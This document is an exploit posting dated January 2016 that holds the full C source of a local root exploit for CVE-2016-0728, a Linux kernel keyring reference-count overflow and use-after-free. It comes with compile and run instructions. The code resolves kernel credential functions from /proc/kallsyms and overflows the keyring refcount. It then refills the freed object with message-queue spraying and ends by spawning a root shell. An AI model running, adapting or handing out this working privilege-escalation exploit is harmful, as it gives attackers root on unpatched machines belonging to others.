Linux Kernel REFCOUNT Overflow / Use-After-Free
Posted on 20 January 2016
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings # Date: 19/1/2016 # Exploit Author: Perception Point Team # CVE : CVE-2016-0728 /* CVE-2016-0728 local root exploit modified by Federico Bento to read kernel symbols from /proc/kallsyms props to grsecurity/PaX for preventing this in so many ways $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall $ ./cve_2016_072 PP_KEY */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> #include <time.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/msg.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; #define STRUCT_LEN (0xb8 - 0x30) #define COMMIT_CREDS_ADDR (0xffffffff810bb050) #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370) struct key_type { char * name; size_t datalen; void * vet_description; void * preparse; void * free_preparse; void * instantiate; void * update; void * match_preparse; void * match_free; void * revoke; void * destroy; }; /* thanks spender - Federico Bento */ static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { fprintf(stdout, "Unable to obtain symbol listing! "); exit(0); } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s ", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s ", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, "[+] Resolved %s to %p ", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } void userspace_revoke(void * key) { commit_creds(prepare_kernel_cred(0)); } int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("[+] uid=%d, euid=%d ", getuid(), geteuid()); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); if(commit_creds == NULL || prepare_kernel_cred == NULL) { commit_creds = (_commit_creds)COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR; if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370) puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source"); } my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("[+] Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } puts("[+] Finished increfing"); puts("[+] Forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("[-] fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("[-] msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("[-] msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("[+] Finished forking"); sleep(5); /* call userspace_revoke from kernel */ puts("[+] Caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("[+] keyctl_revoke"); } printf("uid=%d, euid=%d ", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; }